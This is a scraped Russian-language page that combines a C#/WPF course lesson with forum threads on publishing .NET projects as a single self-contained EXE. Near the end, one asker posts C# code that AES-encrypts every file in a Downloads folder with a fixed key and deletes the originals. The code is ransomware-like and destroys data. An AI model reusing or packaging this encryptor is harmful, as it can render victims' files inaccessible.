#10 – Создание Exe файла. Завершение

Для отправки вашего приложения друзьям или знакомым вам в первую очередь нужно создать EXE файл проекта. Его создание не столь сложный процесс. В уроке мы подведем итоги курса и создадим EXE файл.
Видеоурок
В ходе курса мы с вами изучили построение простых приложений с использованием языка C# и платформы WPF. Платформа состоит из сотен классов, функций и различных объектов. Изучить их все – очень сложно, а главное не нужно.
Попробуйте сейчас создать свое собственное приложение, а по ходу его реализации вы сами обучитесь новым действиям и функциям платформы WPF.
Программа обучения
Если вас интересует более углубленное изучение самого языка и его фреймворков, то предлагаем вашему внимаю наш полный курс по изучению C# . За курс вы изучите язык C#, научитесь делать веб проекты на основе ASP NET и строить приложения при помощи WinForms и WPF.
Большое задание по курсу
Вам необходимо оформить подписку на сайте, чтобы иметь доступ ко всем большим заданиям. В задание входит методика решения, а также готовый проект с ответом к заданию.
PS: подобные задания доступны при подписке от 1 месяца
Как скомпилировать единый exe файл в проекте Visual Studio?

Сохраняется вот так, как можно создать единый файл?
Отслеживать
47.6k 5 5 золотых знаков 22 22 серебряных знака 57 57 бронзовых знаков
задан 15 мая 2021 в 11:24
Денис Волков Денис Волков
79 1 1 золотой знак 1 1 серебряный знак 5 5 бронзовых знаков
@AK Я не согласен с тем, что прилинкованный ответ отвечает на вопрос, поскольку это .NET Core/5, а ответ для Framework.
15 мая 2021 в 11:39
@aepot Действительно, ловите плюсик за внимательность к деталям.
15 мая 2021 в 12:14
1 ответ 1
Сортировка: Сброс на вариант по умолчанию
Вам нужно опубликовать Build -> Publish приложение, в параметрах публикации выбрать Folder, далее выбрать win-x64 файл и поставить галочку Produce single file.
Публикация приложения с одним файлом с помощью Visual Studio
Visual Studio создает многократно используемые профили публикации, которые управляют процессом публикации приложения.
- В обозревателе решений щелкните правой кнопкой мыши проект, который нужно опубликовать. Нажмите кнопку Опубликовать.

Если у вас еще нет профиля публикации, следуйте инструкциям по его созданию и выберите Папка в качестве типа целевого объекта. - Нажмите кнопку Изменить.

- В диалоговом окне Параметры профиля задайте следующие параметры.
- Параметру Режим развертывания задайте значение Автономное или Зависимое от платформы.
- В качестве значения параметра Целевая среда выполнения укажите платформу, на которую будет выполнена публикация. (Значение должно быть отличным от Переносимый.)
- Выберите Создать отдельный файл. Нажмите кнопку Сохранить, чтобы сохранить параметры и вернуться в диалоговое окно Публикация.

- Чтобы опубликовать приложение с одним файлом, нажмите кнопку Опубликовать.
Дополнительные сведения см. в статье Публикация приложений .NET Core с помощью Visual Studio.
По поводу того, чем опции Self-contained и Framework-dependent отличаются, я ранее рассказывал здесь.
Если все прошло хорошо, профиль публикации Properties\PublishProfiles\FolderProfile.pubxml будет выглядеть вот так
Release Any CPU bin\Release\Publish FileSystem net5.0-windows win-x64 false True False
А в интерфейсе публикации оно будет выглядеть так

Примечание для .NET 5 и более новых версий
Так как в .NET 5 оптимизировали технологию запуска приложения из одиночного файла, теперь по умолчанию он не включает в себя нативные библиотеки, а включает только управляемые.
Если ваша сборка зависит от нативных библиотек, и вы столкнулись с тем, что dll файлы при публикации все равно лежат отдельно, то чтобы это вылечить, в первую секцию .cproj файла нужно добавить опцию:
true
Как скомпилировать проект в .exe для автономной работы на любом другом ПК
Добрый вечер!
Подскажите, как скомпилировать проект windows forms со всеми библиотеками, которые он использует, в один .exe файл, чтобы открыть его на любом другом компьютере, где нет Visual Studio?
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
Ответы с готовыми решениями:

Как скомпилировать C# проект в .exe файл?
Как скомпилировать C# проект в .exe файл? И взять, скопировать и запустить на любом компьютере без.
Как скомпилировать проект Дельфи в exe файл?
Всем привет! Как скомпилировать проект в делфи в 1 .exe файл?

Найти багаж, число мест в котором не меньше, чем в любом другом, а общий вес не больше, чем в любом другом багаже .
Помогите сделать задачу на паскале: Багаж пассажира характеризуется числом мест и общим весом.
Скомпилировать проект в exe Visual Studio 2013
Здравствуйте! Я написал консольную игру в VS 2013. И к ней добавил музыку, закинув в папку решения.
2079 / 1237 / 464
Регистрация: 20.12.2014
Сообщений: 3,237
После запуска проекта на выполнение, exe-файл уже готов. Закрываете проект. Подтверждаете сохранение всего, если спросит. Находите папку с проектом (обычно в Документы/VS/Projects). Залезаете в bin/Debug. И копируете оттуда файл.
Регистрация: 10.09.2016
Сообщений: 32
Сообщение от chumich 
После запуска проекта на выполнение, exe-файл уже готов. Закрываете проект. Подтверждаете сохранение всего, если спросит. Находите папку с проектом (обычно в Документы/VS/Projects). Залезаете в bin/Debug. И копируете оттуда файл.
Насчет этого я в курсе, просто не уверен, что .exe точно будет содержать все библиотеки.
2079 / 1237 / 464
Регистрация: 20.12.2014
Сообщений: 3,237
Сообщение от DoK23Rus 
содержать все библиотеки.
Будет, а куда он денется? Единственное, возможно только .NET Framework где-то может не подходить. У меня на как-то на ХР приложение не работало. Разбираться было некогда, и я просто сделал дубль программы с другим .NET Framework специально для ХР. Это в свойствах проекта можно сделать.
Как скомпилировать проект на C# в один .exe файл?
Всем привет.
Я написал простое консольное приложение на C# , под Windows .
Есть задача скомпилировать небольшой проект в 1 .exe файл. То есть , скрыть файлы .dll , которые создаются после компиляции.
Большинство из «нагугливанного» не работает (статьи 2001-2012 годов). Считаю , что вопрос актуален.
Какими средствами вы пользуйтесь?
- Вопрос задан более двух лет назад
- 4567 просмотров
Комментировать
Решения вопроса 1

Василий Банников @vabka Куратор тега .NET
Токсичный шарпист
Single File Application — фича современных дотнетов со времён .net Core 3
Буквально при помощи одной опции в файле проекта или одной строкой в консоли собирает ваш проект в единый екзешник, в который ещё может быть опционально встроен рантайм.
Вот пример csproj:
Exe net6.0 enable true true win-x64 true true link
В результате получается единственный exe, который реально можно запустить где угодно, вне зависимости от установленной версии .NET
Для старых версий дотнета есть ILMerge и Costura.Fody, но в .net 5 они не нужны, и я крайне советую использовать именно .NET 5 (а скоро ещё 6 выйдет)
Ответ написан более двух лет назад
Нравится 5 10 комментариев

Lizard @rootovich1 Автор вопроса
Попробую сегодня, скажу результат.
Второй день изучаю Cи — подобные языки , кле что остаётся непонятным.

Василий Банников @vabka Куратор тега .NET
Lizard, а ну и ещё важный момент забыл упомянуть.
Собирать финальную версию надо либо через консоль
dotnet publish
Либо в студии кнопка «опубликовать» (там выбрать публикацию в папку)

true
Ну это сильно по необходимости, т.к. размер конечного файла при этом заметно возрастает.
+ в независимости от установленного рантайма.
— в размере конечного файла.

Василий Банников @vabka Куратор тега .NET
Alexander, кстати, размер файла, в случае Hello World, увеличился всего до 14мб. По идее, если отключить R2R, то будет ещё меньше

Василий Банников, ну для Linux программа на .Net 5 с несколькими библиотеками c ~2-3Мб без рантаймов вырастает до около 100 (если не больше) с рантаймами.

Lizard @rootovich1 Автор вопроса

Василий Банников,
Сделал по инструкции , все равно конечный фаил имеет dll и не запускается без них.
Мой код, который я пытаюсь упоковать в один файл:
using System.IO; using System.Security.Cryptography; using System.Linq; namespace _2test < class Program < static void Main(string[] args) < byte[] key = Enumerable.Range(0, 32).Select(x =>(byte)x).ToArray(); string PathToFolder = @"C:\Users\Lizard\Downloads\"; string[] allfiles = Directory.GetFiles(PathToFolder); foreach (string filename in allfiles) < EncryptFile(filename, key); >> private static void EncryptFile(string path, byte[] key) < string tmpPath = Path.GetTempFileName(); using (FileStream fsSrc = File.OpenRead(path)) using (AesManaged aes = new AesManaged() < Key = key >) using (FileStream fsDst = File.Create(tmpPath)) < fsDst.Write(aes.IV); using (CryptoStream cs = new CryptoStream(fsDst, aes.CreateEncryptor(), CryptoStreamMode.Write, true)) < fsSrc.CopyTo(cs); >> File.Delete(path); File.Move(tmpPath, path); > > >
Exe net5.0 true win-x64 true true true link